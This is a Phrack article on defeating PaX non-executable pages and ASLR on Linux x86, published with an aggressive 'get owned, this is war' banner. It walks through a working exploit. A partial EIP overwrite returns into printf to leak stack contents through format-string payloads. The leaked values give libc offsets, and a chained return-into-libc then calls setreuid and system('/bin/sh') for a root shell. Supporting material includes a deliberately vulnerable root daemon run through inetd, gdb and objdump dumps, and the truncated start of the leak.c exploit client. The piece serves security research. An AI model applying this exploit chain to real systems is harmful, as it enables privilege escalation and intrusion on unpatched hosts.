STOP POSTING, STOP HELPING THE SECURITY INDUSTRY, OR GET OWNED. THIS IS WAR.

                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12

|=------------------=[ Bypassing PaX ASLR protection ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ anonymous author <p59_09@author.phrack.org> ]=----------=|


 0. Introduction
    a. What is PaX and what it does
    b. Known attacks against old PaX implems
    c. What changed since ret-into-dl-resolve()

 1. What you ever wanted to know about PaX
    a. Paging basics
    b. PaX foundations (PAGEEXEC feature)
    c. Address Space Layout Randomization Layout (ASLR)
       - Stack ASLR
       - Libraries ASLR
       - Executable PT_LOAD double mapping technique
       - ET_EXEC to ET_DYN full relinking technique
    d. Last enforcements

 2. ASLR weaknesses
    a. EIP partial overwrite
    b. Generating information leaks

 3. Understanding the exploitation step by step
    a. Global flow understanding using gdb
    b. Examining the remote stack
    c. Verify printf relative offset using elfsh
    d. Guess functions and parameters absolute addresses

 4. Exploitation success conditions
    a. Looking for exploitable stack based overflows
    b. Looking for leak functions
    c. The frame pointer problem and workaround
    d. Discussion about segvguard

 5. The code
    a. Sample target
    b. ret-into-printf info leak code

 6. Referenced papers and projects




-------[ 0. Introduction


 [a] PaX, stands for PageEXec, is a linux kernel patch protection against
 buffer overflow attacks . It is younger than Openwall (PaX has been
 available for a year and a half now) and takes profit from the
 processor lowlevel paging mechanism in order to detect injected code
 execution . It also make return into libc exploits very hard to
 accomplish . This patch is very easy to use and can be downloaded
 on [1] , so as the tiny chpax tool used to configure PaX on a per
 file basis .

 For accomplishing its task, PaX hooks two OS mechanisms :

 - Refuse code execution on writable pages (PAX_PAGEEXEC option) .
 - Randomize mmap()'ed library base address to make return into libc
   harder .

 [b] Some years ago, Nergals came with his return into plt technique
 (ELF specific) allowing him to bypass the mmap() protection (implemented 
 in OpenWall [2] at this time) . The technique has been very well described
 in a recent paper [3] and wont be developped again in this article .

 [c] In the last months, the PaX team released et_dyn.zip, showing us how
 to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that
 the main object base address would also be randomized, and Nergal's
 return-into-plt attack blocked .

 Unfortunately, most people think it is a real pain to relink all sensible
 binaries . The PaX team decided to release a new version of the patch,
 accomplishing the same task without needing relinking .

 Since this patch represents the latest improvement concerning buffer
 overflow protection, a new study was necessary . We will demonstrate
 that in certain conditions, it is still possible to exploit stack based
 buffer overflows protected by PaX with all options actived, including
 the new ET_EXEC binary base address randomizing .

 We will show that we can reduce the problem to a standard return-into-libc
 exploitation . Heap overflows wont be developped, but it might also be
 possible to exploit them in an ASLR environment using a derived
 technique .



-------[ 1. What you ever wanted to know about PaX


 If you dont care about PaX itself, please pass this paragraph and go read
 paragraph 2 now :)


 [a] Paging basics


 On INTEL Pentium processors, userland pages are 4Ko big . The design
 for 32 bits linear addresses (when pagination is enabled, which is
 mandatory if protected mode is enabled) is :


  ---------------------------------------
 |	     |		 |		|
  ---------------------------------------

    ^		^		^
    |		|		|_____ Page offset (12 bits)
    |		|
    |		|_____ Page table entry index (10 bits)
    |
    |_______ Page directory entry index (10 bits)


 If no extra options (like PSE or PAE) are actived, the processor handle a
 3 level paging, using 2 intermediary tables called the page directory and
 the page table .

 On Linux, segmentation protection is not used by default (segment base
 address is 0 everywhere, and segment limit is FFFFF everywhere), it means
 that virtual address space and linear address space are the same . For
 extended information about the INTEL Pentium protected mode, please 
 refers to the Documentation reference [4], paragraph 3.6.2 describes 
 paging basics, including PDE and PTE explainations .

 For instance, linear address 0804812C can be decomposed like :

 08 + two high bits in the third nibble '0' : Page directory entry index
 two low bits in the third nibble '0' + 48  : Page table entry index
 12C (12 low bits)			    : Page offset


 [b] PAGEEXEC option


 There is a documentation on the PaX website [1] but as written on the
 webpage, it is quite outdated . I will try (thanks to the PaX team)
 to explain PaX mechanisms again and giving some details for our
 purpose :

 First, PaX hook your page fault handler . This is an routine executed
 each time you have an access problem to a memory page . Linux pages are
 all 4Ko on the platform we are interrested in . This fault can be due
 to many reasons :

 - Presence checking (not all 4Ko zone are mapped in memory at this
 moment, some pages may be swapped for instance and we want to unswap
 it)

 - Supervisor check (the page has its supervisor bit set, only the kernel
 can access it, normal behavior is to send SIGSEGV)

 - Access mode check : try to write and not allowed, try to read and not
 allowed, normal behaviour is send SIGSEGV .

 - Other reasons described in [4] .

 Since there is no dedicated bit on PDE (page directory entry) or PTE (page
 table entry) to control page execution, the PaX code has to emulate it, 
 in order to detect inserted shellcode execution in the flow .

 Every protected pages tables entries (PTE) are set to supervisor .
 Protected pages include everything (stack, heap, data pages) except the
 original executable code (executable PT_LOAD program header for each
 process object) .

 Consequences are quite directs : each time we access one of these pages,
 the page fault handler is executed because the supervisor bit has been
 detected during the linear-to-physical address translation (so called page
 table walk) . PaX can control access to the page in its PF handling code .

 What PaX can choose to do at this time :

 - If it is a read/write access, consider it as normal if original page
 flags allows it and do not kill the task . For this to work, the PaX code
 has to temporary fill the corresponding PTE to a user one (remember that
 the page has been protected with the supervisor bit whereas it contains
 userland code), then do access on the page to fill the dtlb, and set the
 page as supervisor again . This will result in further data access to the
 page not beeing filtered by PF since it will use the dtlb cached value and
 not perform a page table walk again ;)

 - If it is an execution access, kill the task and write the exploitation
 attempt in the logs .


 [c] ASLR


  => Stack ASLR

 bash$ export EGG="/bin/sh"
 bash$ cat test.c

<++> DHagainstpax/test.c !187b540a

 #include <stdio.h>
 #include <stdlib.h>

 int     main(int argc, char **argv, char **envp)
 {
   char  *str;

   str = getenv("EGG");
   printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n",
          str, str, envp, argv, (u_int) str - (u_int) argv);
   return (0);
 }

<-->

 bash$ ./a.out
 str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4,
 delta = 4890
 bash$ ./a.out
 str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744,
 delta = 1930
 bash$ ./a.out
 str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734,
 delta = 1946
 bash$ chpax -v a.out
 a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is
 restricted, mmap() base is randomized, ET_EXEC base is randomized
 bash$

 After investigation, it seems like the stack address is randomized on
 the 28 low bits, but in 2 times, which explain why the EGG environment
 variable is always on the same page offset (ECE) . First, bits 12 to 27 get
 randomized, then environment is copied on the stack, finally the page
 offset (bits 0 to 11) is randomized using some %esp padding . Note that
 low 4 bits are always 0 because the kernel enforces 16 bytes 
 alignement after the %esp pad . This is not a big vulnerability and 
 you dont need it to manage ASLR exploitation, even if it might help 
 in some cases . It may be corrected in the next PaX version however .


  => Libraries ASLR


 bash$ cat /proc/self/maps | grep libc
 409da000-40ae1000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
 40ae1000-40ae7000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
 bash$ cat /proc/self/maps | grep libc
 4e742000-4e849000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
 4e849000-4e84f000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
 bash$ cat /proc/self/maps | grep libc
 4b61b000-4b722000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
 4b722000-4b728000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
 bash$

 Library base addresses get randomized on 16 bits (bits 12 to 27) . Page
 offset (low 12 bits) is not randomized, the high nibble is not randomized
 as well (always '4' to allow big library mapping, this nibble wont change
 unless a very big zone is mapped) . We already note that there's no NUL
 bytes in the library addresses, the PaX team choosed to randomize address
 on 16 bits instead .


  => Executable PT_LOAD double mapping technique


  In order to block classical return-into-plt exploits, we can use two
  mechanisms . The first one consists in automatically remapping the
  executable program header (containing the binary .plt) and set the
  old (original) mapping as non-executable using the PAGEXEC option .

  For obscure reasons linked to crt*.o PIC code, vm_areas framing the
  remapped region have to share the same physical address than vm_areas
  framing the original region but that's not important for the presented
  attack .

  The data PT_LOAD program header is not moved because the remapped code
  may contains absolute references to it . This is a vulnerability because
  it makes .got accessible in rw mode . We could for instance poison
  the table using partial entry overwrite (overwriting only 1 or 2 bytes in
  the entry) but this wont be discussed in the paper since this attack is
  derived from [5] and would require similar conditions . Moreover, the
  remapping option is time consuming and we prefer using full relinking .


  => ET_EXEC to ET_DYN full relinking technique


  Now it comes more tricky ;p Maybe you already noticed executable
  libraries in your tree . These objects are ET_DYN (shared) and contains
  a valid entry point and valid interpreter (.interp) section . libc.so is
  very good examples :

  bash$ /lib/libc.so.6
  GNU C Library stable release version 2.2.3, by Roland McGrath et al.
  (...)
  Report bugs using the `glibcbug' script to <bugs@gnu.org>.
  bash$

  bash$ /usr/lib/libncurses.so
  Segmentation fault
  bash$

  If we look closer at these libraries, we can see :

  bash$ objdump -x /lib/libc.so.6 | grep INTERP
   INTERP off    0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0
  bash$ objdump -x /usr/lib/libncurses.so | grep INTERP
  bash$

  A sample relinking package called et_dyn.zip can be obtained on the PaX
  website, it shows how to perform relinking for your own binaries . For
  this, you just have to request a PT_INTERP segment to be created (not
  the case by default except for libc) and have a valid entry point
  function (a main function is enough) .

  This relinking will result in all zone (code and data program header)
  beeing mapped as shared libraries, with base address randomized using
  the standard PaX mmap() mechanism . This is the protection we are going 
  to defeat .


 [d] Last enforcements


  PaX also prevents from mprotect() based attacks, when mprotect is
  used to regain execution rights on a shellcode inserted in the stack for
  instance . It matters because in case we are able to guess the mprotect()
  absolute address, we wont be able to abuse it .

  Trampoline emulation is not explained because it doesnt matter for our
  purpose .



-------[ 2. ASLR weaknesses


 [a] As we saw, page offset is 12 bits long . It means that a one byte
 EIP overflow is not risky because we know that the modified return
 address will still point in the same page, since the INTEL x86 architecture
 is little endian . Partial overflows have not been studied much, except for
 the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using
 this technique we can replay or bypass part of the original code .

 What is more interresting for us is replaying code, in our case, replaying
 buffer overflows, so that we'll be able to control the process execution
 flow and replay vulnerable code as much as needed . We start thinking
 about some brute forcing mechanism but we want to avoid crashing the
 program .

 [b] What we have to do against PaX ASLR is retreiving information about
 the process, more precisely about the process address space .

 I'll ask you to have a look at this sample vulnerable code before saying
 the whole technique :

<++> DHagainstpax/pax_daemon.c !d75c8383

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define		NL		'\n'
#define		CR		'\r'
#define		OKAY_PASS	"evil"
#define		FATAL(str)	{ perror(str); exit(-1); }

int		verify(char *pass);
int		do_auth();

char		pass[48];
int		len;


int	main(int argc, char **argv)
{
  return (do_auth());
}


/* Non-buggy passwd based authentication */
int		do_auth()
{
  printf("Password: ");
  fflush(stdout);
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
    FATAL("read");
  pass[len] = 0;
  if (!verify(pass))
    {
      printf("Access granted .\n");
      return (0);
    }

  printf("You loose !");
  fflush(stdout);
  return (-1);
}


/* Buggy password check (stack based overflow) */
int		verify(char *pass)
{
  char		filtered_pass[32];
  int		i;

  bzero(filtered_pass, sizeof(filtered_pass));

  /* this protocol is a pain in the ass */
  for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++)
    filtered_pass[i] = pass[i];

  if (!strcmp(filtered_pass, OKAY_PASS))
    return (0);

  return (-1);
}

<-->


 This is a tiny password based authentication daemon, running throught
 inetd or at the command line . For inetd use, here is the line to
 add in inetd.conf :

 666 stream tcp nowait root /usr/sbin/tcpd \
 /home/anonymous/DHagainstpax/paxtestd

 Just replace the command line with your own path for the daemon, inform
 inetd about it, and verify that it works well :

 bash$ pidof inetd
 99
 bash$ kill -HUP 99
 bash$ netstat -a -n | grep 666
 tcp        0      0 0.0.0.0:666             0.0.0.0:*          LISTEN
 bash$

 This is a quite dumb code printing a password prompt, waiting for an
 input, and comparing it with the valid password, filtering CR and NL
 caracters .

 bash$ ./paxtestd
 Password: toto
 You loose !
 bash$ ./paxtestd
 Password: evil
 Access granted .
 bash$

 For bored people who think that this code cant be found in the wild,
 I would just argue that this work is proof of concept . Exploitation
 conditions are generalized in paragraph 4 .

 We can easily idenfify a stack based buffer overflow vulnerability
 in this daemon, since the filtered_pass[] buffer is filled with the
 pass[] buffer, the copy beeing filtered in a 'for' loop with a missing
 size checking condition .

 [b] What can we do to exploit this vulnerability in a PaX full random
 address space protected environment ? If we look closed, here is what
 we can see :

 (...)
  printf("Password: ");
  fflush(stdout);
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
    FATAL("read");
  pass[len] = 0;
  if (!verify(pass))
    {
 (...)

 The assembler dump (slighly modified to match symbol names cause
 objdump symbol matching sucks :) for do_auth() looks like that :

 804858c:	55                   	push   %ebp
 804858d:	89 e5                	mov    %esp,%ebp
 804858f:	83 ec 08             	sub    $0x8,%esp
 8048592:	83 c4 f4             	add    $0xfffffff4,%esp
 8048595:	68 bc 86 04 08       	push   $0x80486bc
 804859a:	e8 5d fe ff ff       	call   80483fc		<printf>
 804859f:	83 c4 f4             	add    $0xfffffff4,%esp
 80485a2:	ff 35 00 98 04 08    	pushl  0x8049800
 80485a8:	e8 1f fe ff ff       	call   80483cc		<fflush>
 80485ad:	83 c4 20             	add    $0x20,%esp
 80485b0:	83 c4 fc             	add    $0xfffffffc,%esp
 80485b3:	6a 2f                	push   $0x2f
 80485b5:	68 20 98 04 08       	push   $0x8049820
 80485ba:	6a 00                	push   $0x0
 80485bc:	e8 6b fe ff ff       	call   804842c		<read>
 80485c1:	89 c2                	mov    %eax,%edx
 80485c3:	89 15 50 98 04 08    	mov    %edx,0x8049850
 80485c9:	83 c4 10             	add    $0x10,%esp
 80485cc:	85 d2                	test   %edx,%edx
 80485ce:	7f 17                	jg     80485e7	    ; if (len <= 0)
 80485d0:	83 c4 f4             	add    $0xfffffff4,%esp
 80485d3:	68 c7 86 04 08       	push   $0x80486c7
 80485d8:	e8 df fd ff ff       	call   80483bc		<perror>
 80485dd:	83 c4 f4             	add    $0xfffffff4,%esp
 80485e0:	6a ff                	push   $0xffffffff
 80485e2:	e8 35 fe ff ff       	call   804841c		<exit>
 80485e7:	b8 20 98 04 08       	mov    $0x8049820,%eax
 80485ec:	c6 04 02 00          	movb   $0x0,(%edx,%eax,1)
 80485f0:	83 c4 f4             	add    $0xfffffff4,%esp
 80485f3:	50                   	push   %eax
 80485f4:	e8 27 ff ff ff       	call   8048520		<verify>
 80485f9:	83 c4 10             	add    $0x10,%esp

 More precisely:

 (...)
 8048595:	68 bc 86 04 08       	push   $0x80486bc
 804859a:	e8 5d fe ff ff       	call   80483fc		<printf>
 (...)
 80485f4:	e8 27 ff ff ff       	call   8048520		<verify>
 80485f9:	83 c4 10             	add    $0x10,%esp


 The 'call printf' and 'call verify' are cleary on the same page, we know 
 this because the 20 high bits of their respective linear address are the
 same . It means that we are able to return on this instruction using a 
 one (or two) byte(s) eip overflow . If we think about the stack state, 
 we can see that printf() will be called with parameters already present 
 on the stack, i.e. the verify() parameters. If we control the first 
 parameter of this function, we can supply a random format string to the 
 printf function and generate a format bug, then call the vulnerable 
 function again, this way we hope resuming the problem to a standard 
 return into libc exploit, examining the remote process address space, 
 more precisely the remote stack, in particular return addresses.

 Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer,
 and one low EIP byte) for the password input :

 "%001$08u                            \x9a"
 "%002$08u                            \x9a"
 "%003$08u                            \x9a"
 "%iii$08u                            \x9a"

 These format strings will display the 'i'th unsigned integer from the
 remote stack . Using this we can retreive interresting values using
 leak.c given at the end if this paper .

 For those who are not that familiar with format bugs, this will read
 the i'th pushed parameter on the stack (iii$) and print it as an unsigned
 integer (%u) on eight characters (8), padding with '0' char if needed .
 Format strings are deeply explained in the printf(3) manpage .

 Note that the 37th byte \x9a is the low byte in the 'call printf' linear
 address . Since the caller is responsible for parameters popping, they
 are still present on the stack when the verify function returns ('ret')
 and when the new return address is pushed by the 'call printf' so that
 the stack pointer is well synchronized .

 bash-2.05$ ./runit
 [RECEIVED FROM SERVER] *Password: *
 Connected! Press ^C to launch : Starting remote stack retreiving ...

 Remote stack :
 00000000 08049820 0000002F 00000001
 472ED57C 4728BE10 B9BDB84C 4727464F
 080486B0 B9BDB8B4 472C6138 473A2A58
 47281A90 B9BDB868 B9BDB888 472B42EB
 00000001 B9BDB8B4 B9BDB8BC 0804868C

 bash-2.05$

 In this first example we read 80 bytes on the stack, reading 4 bytes per
 4 bytes, replaying 20 times the overflow and provoking 20 times a format
 bug, each time incrementing the 'iii' counter in the format string (see
 below) .

 As soon as we know enough information to perform a return into libc as
 described in [3], we can stop generating format bugs in loop and fully
 erase eip (and the parameters standing after eip on the stack) and
 perform standard return-into-libc exploitation . We can also choose
 to exploit the program using the generated format bugs as described it
 [8] or [9] .



-------[ 3. Understanding the exploitation step by step



 The goal is to guess libc addresses so that we can perform a standard
 return into libc exploitation . For that we will use relative offsets
 from the retaddr we can read on the stack . This paragraph has been
 done to help you in your first ASLR exploitation .

 [a] Let's understand better the execution flow using a debugger. This
 is what we can see in the gdb debugging session for the vulnerable
 daemon, at this moment waiting for its first input :

 * WITHOUT ET_EXEC base address randomization

 (gdb) bt
 #0  0x400dff14 in __libc_read () at __libc_read:-1
 #1  0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6
 #2  0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26
 #3  0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
		ubp_av=0xbffffd54, init=0x8048374 <_init>,
		fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
		stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129
(gdb)


 * WITH ET_EXEC base address randomization

 (gdb) bt
 #0  0x4365ef14 in __libc_read () at __libc_read:-1
 #1  0x436aba58 in __DTOR_END__ () from /lib/libc.so.6
 #2  0x4357d64f in ?? ()
 #3  0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
	       ubp_av=0xb5c36cf4, init=0x8048374 <_init>,
	       fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>,
	       stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129
(gdb)


 As you can see, the symbol table is not synchronized anymore with the
 memory dump so that we cant rely on the resolved names to debug . Note
 that we will dispose of a correct symbol table in case the ET_EXEC binary
 object has been relinked into a ET_DYN one, has explained in paragraph
 1, part c .


 [b] Using the exploit, here is what we can see if we examine the stack with
 or without the ET_EXEC rand option :

 bash$ ./runit
 [RECEIVED FROM SERVER] *Password: *
 Connected! Press ^C to launch : Starting remote stack retreiving ...

 Remote stack (with ET_EXEC rand enabled) :
 00000000 08049820 0000002F 00000001
 482D157C 4826FE10 BDDB44DC 4825864F
 080486B0 BDDB4544 482AA138 48386A58
 48265A90 BDDB44F8 BDDB4518 482982EB
 00000001 BDDB4544 BDDB454C 0804868C

 If we disable the ET_EXEC rand option, here is what we see :

 bash$ ./runit

 (...)

 Remote stack (with ET_EXEC rand disabled) :
 00000000 08049820 0000002F 00000001
 4007757C 40015E10 BFFFFCEC 0804864F
 080486B0 BFFFFD54 40050138 4012CA58
 4000BA90 BFFFFD08 BFFFFD28 4003E2EB
 00000001 BFFFFD54 BFFFFD5C 0804868C

 As we want to do a return into libc, address pointing in the libc are the
 most interresting . What we are looking for is the main() return address
 pointing in the remapped instance of the __libc_start_main function, in
 the .text section in the libc's address space .

 Here is how to interpret the stack dump :

 00000000 (...)
 08049820
 0000002F
 00000001
 435F657C
 43594E10
 B5C36C8C do_auth frame pointer
 4357D64F do_auth() return address
 080486B0 do_auth parameter ('pass' ptr)
 B5C36CF4
 435CF138
 436ABA58
 4358AA90
 B5C36CA8
 B5C36CC8 main() frame pointer
 435BD2EB main() return address
 00000001 argc
 B5C36CF4 argv
 B5C36CFC envp
 0804868C (...)


 [c] Now let's look at the libc binary to know the relative address for
 functions we are interrested in . For that we'll use the regex option
 in ELFsh [7] :

 bash-2.05$ elfsh -f /lib/libc.so.6 -sym ' strcpy '\|' exit '\|' \
 setreuid '\|' system '

 [SYMBOL TABLE]
 [4425]    0x750d0     strcpy    type: Function  size: 00032 bytes  => .text
 [4855]    0x48870     system    type: Function  size: 00730 bytes  => .text
 [5670]    0xc59b0   setreuid    type: Function  size: 00188 bytes  => .text
 [6126]    0x2efe0       exit    type: Function  size: 00248 bytes  => .text

 bash$ elfsh -f /lib/libc.so.6 -sym __libc_start_main

 [SYMBOL TABLE]
 [6218]  0x1d230 __libc_start_main type: Function size: 00193 bytes => .text

 bash$


 [d] As the main() function return into __libc_start_main , lets look
 precisely in the assembly code where main() will return . So, we would
 know the relative offset between the needed function address and the
 address of the 'call main' instruction . This code is located in the libc.
 This dump has been taken from my default SlackWare libc.so.6 for which you
 may not need to change relative file offsets in the exploit .

 0001d230 <__libc_start_main>:
    1d230:       55                      push   %ebp
    1d231:       89 e5                   mov    %esp,%ebp
    1d233:       83 ec 0c                sub    $0xc,%esp
    (...)
    1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
    1d2e9:       ff d2                   call   *%edx
    1d2eb:       50                      push   %eax
    1d2ec:       e8 9f f9 ff ff          call   1cc90 <GLIBC_2.0+0x1cc90>
    (...)

 Instructions following this last 'call 1cc90' are 'nop nop nop nop', just
 headed by the 'Letext' symbol, but thats not interresting for us .

 Because the libc might have been recompiled, it may be possible
 to have different relative offsets for your own libc built and it
 would be very difficult to guess absolute addresses just using the
 main() return address in this case. Of course, if we have a
 binary copy of the used library (like a .deb or .rpm libc package), we
 can predict these offsets without any problem . Let's look at the
 offsets for my libc version, for which the exploit is based .

 We know from the 'bt' output (see above) that the main address is the
 first __libc_start_main() parameter . Since this function has a frame
 pointer, we deduce that 8(%ebp) contains the main() absolute address .
 The __libc_start_main function clearly does an indirect call through
 %edx on it (see the last 3 instructions) :

    1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
    1d2e9:       ff d2                   call   *%edx

 We deduce that the return address we read in the process stack points
 on the intruction at file offset 1d2eb :

    1d2eb:       50                      push   %eax

 We can now calculate the absolute address we are looking for :

     . main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb
     . system()        : file offset 0x48870, virtual address unknown
     . setreuid()      : file offset 0xc59b0, virtual address unknown
     . exit()	       : file offset 0x2efe0, virtual address unknown
     . strcpy()	       : file offset 0x750d0, virtual address unknown

 What we deduce from this :

     . system() addr	= main ret + (system offset - main ret offset)
			= 4003e2eb + (48870 - 1d2eb)
			= 4003e2eb + 2B585
			= 40069870

     . setreuid() addr  = main ret + (setreuid offset - main ret offset)
			= 4003e2eb + (c59b0 - 1d2eb)
			= 4003e2eb + a86c5
			= 400e69b0

     . exit() addr	= main ret + (exit offset - main ret offset)
			= 4003e2eb + (2efe0 - 1d2eb)
			= 4003e2eb + 11cf5
			= 4004ffe0

     . strcpy() addr	= 4003e2eb + (750d0 - 1d2eb)
			= 4003e2eb + 57de5
			= 400960d0

 We needs some more offsets to perform a chained return into libc and
 insert NUL bytes as explained in Nergal's paper :

     - A pointer on the setreuid() parameter reposing on the stack, to be
     used as a dst strcpy parameter (we need to nullify it) :

     do_auth fp + 28 = B5C36CC8 + 1C
		     = B5C36CE4

 The setreuid parameter address (reposing on the stack) can be found
 using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or
 if there is no frame pointer, using whatever stack variable address
 we can guess .

     - A pointer on a NUL byte to be used as a src strcpy parameter (let's
     use the "/bin/sh" final byte address)

     main ret addr + (string offset - main ret offset) + strlen("/bin/sh")
		       = 4003e2eb + (fcc19 - 1d2eb) + 7
		       = 4003e2eb + df92e + 7
		       = 4011dc19 + 7
		       = 4011dc20

     - A "/bin/sh" string with predictable absolute address for the
     system() parameter (we will find one in the libc's .rodata section
     which is part of the same zone (has the same base address) than
     libc's .text)

		    main ret addr + (string offset - main ret offset)
		       = 4003e2eb + (fcc19 - 1d2eb)
		       = 4003e2eb + df92e
		       = 4011dc19

 bash$ elfsh -f /lib/libc.so.6 -X '.rodata' | grep -A 1 '/bin/'

 nbits.333 + 152             0xfcc18 :   00 2F 62 69  6E 2F 73 68   ./bin/sh
 nbits.333 + 160             0xfcc20 :   00 00 00 00  00 00 00 00   ........
 --
    zeroes + 19              0xff848 :   73 68 00 2F  62 69 6E 2F   sh./bin/
    zeroes + 27              0xff850 :   73 68 00 00  00 00 00 00   sh......
 --
    zeroes + 560             0xffad0 :   68 00 2F 62  69 6E 2F 73   h./bin/s
    zeroes + 568             0xffad8 :   68 00 74 6D  70 66 00 77   h.tmpf.w

 bash$


     - A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in
     order to do %esp lifting (we will find many ones in libc's .text)

 For 'pop ret' sequence :

 bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 1 | \
 grep pop -A 1

 (...)
   2c519:       5a                      pop    %edx
   2c51a:       c3                      ret
 (...)

 For 'pop pop ret' sequence :

 bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 3 | \
 grep pop -A 3 | grep -v leave

 (...)
   4ce25:       5e                      pop    %esi
   4ce26:       5f                      pop    %edi
   4ce27:       c3                      ret
 (...)

 Note: be careful and check if the addresses are contiguous for the
 3 intructions because the regex I use it not perfect for this last
 test .

 Here is how you have to fill the stack in the final overflow (each case is
 4 bytes lenght, the first dword is the return address of the vulnerable
 function) :

 0:  | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 16: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 32: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 48: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
 64: | setreuid addr | 'pop; ret'      addr |setreuid argv1| system addr  |
 80: | exit     addr | "/bin/sh"       addr | ??? DONT ??? | ??? CARE ??? |

 We need to overflow at least 84 bytes after the original return address .
 This is not a problem . The 4 first return-into-strcpy are used to nullify
 the setreuid argument, which has to be a 0x00000000 dword .




-------[ 4. Exploitation conditions


   The attack suffers from many known limitations as you will see .


   [a] Looking for exploitable stack based overflows


 Not all overflows can be exploited like this . memcpy() and strncpy()
 overflows are vulnerable, so as byte-per-byte overflows . Overflow
 involving functions whoose behavior is to append a NUL byte are not
 vulnerable, except if we can find a 'call printf' instruction
 whoose absolute address low byte is NUL .


   [b] Looking for leak functions


 We can use printf() to leak information about the address space .
 We can also return into send() because send() linux implementation use
 sys_socketcall and takes only one parameter on the stack, the parameter
 array absolute address .

000cbb70 <__libc_send>:
   cbb70:       89 da                   mov    %ebx,%edx
   cbb72:       b8 66 00 00 00          mov    $0x66,%eax
   cbb77:       bb 09 00 00 00          mov    $0x9,%ebx
   cbb7c:       8d 4c 24 04             lea    0x4(%esp,1),%ecx
   cbb80:       cd 80                   int    $0x80

 Moreover, send() has a very good error handling code so we will not
 crash the process if we try to read some unmapped process area .
 From the send(3) manual page :

 ERRORS
   (...)
       EBADF  An invalid descriptor was specified.

       ENOTSOCK The argument s is not a socket.

       EFAULT An invalid user space address was specified for a parameter.
   (...)


 We may want to return-into-write or return-into-any_output_function if
 there is no printf and no send somewhere near the original return
 address, but these attacks would be quite hard to perform since we
 would have to control many of the vulnerable function parameters .


   [c] The frame pointer problem and workaround


 The technique also suffers from the same limitation than klog's fp
 overwriting [7] .

 If the frame pointer register (%ebp) is used between the 'call printf' and
 the 'call vuln_func', the program will crash and we wont be able
 to call vuln_func() again . Programs like:

 /* Non-buggy passwd based authentication */
 int		do_auth()
 {
   int len;

   printf("Password: ");
   fflush(stdout);
   len = read(0, pass, sizeof(pass) - 1);
   if (len <= 0)
     FATAL("read");
   pass[len] = 0;
   if (!verify(pass))
 (...)

 are not exploitable using a return into libc because 'len' will be indexed
 through %ebp after the read() returns . If the program is compiled without
 frame pointer, such a limitation does not exist .


   [d] Discussion about segvguard


 Segvguard is a tool coded by Nergal described in his paper [3] . In
 short, this tool can be used to forbid the executable relaunching if it
 crashed too much times . If segvguard is used, we are definitely asked
 to find the output function in the very near (+- 256 bytes) or the original
 return address . If segvguard is not used, we can try a two byte EIP
 overflow and brute force the 4 randomized bits in the high part of the
 second overflowed byte . This way, we'll be able to return on a farer
 'call printf' instruction, increasing our chances .



-------[ 5. The code : DHagainstpax


 I would like to sincerely congratulate the PaX team because they own me
 (who's the ingratefull pig ? ;) and because they've done the best work I
 have ever seen in this field since Openwall . Thanks go to theowl, klog,
 MaXX, Nergal, kalou and korty for discussions we had on this issue .
 Special thanks go to devhell labs 0 : - ] Shoutouts to #fr people (dont
 feed the troll) . May you all guyz pray for peace .

<++> DHagainstpax/leak.c !78040134

 /*
 *
 * Info leak code against PaX + ASLR protection .
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define	FATAL(str) { perror(str); exit(-1); }

#define	PORT_NUM		666
#define	SERVER_IP		"127.0.0.1"

#define	BUF_SIZ			37
#define	FMT			"%%%03u$08u                            \x9a"
#define	RETREIVED_STACKSIZE	20


u_int			remote_stack[RETREIVED_STACKSIZE];


void			sigint_handler(int sig)
{
  printf("Starting remote stack retreiving ... ");
}

int			main(int argc, char **argv)
{
  char			buff[256];
  struct sockaddr_in	addr;
  int			sock;
  int			len;
  u_int			cnt;
  u_char		fmt[BUF_SIZ + 1];

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    FATAL("socket");

  bzero(&addr, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(PORT_NUM);
  addr.sin_addr.s_addr = inet_addr(SERVER_IP);

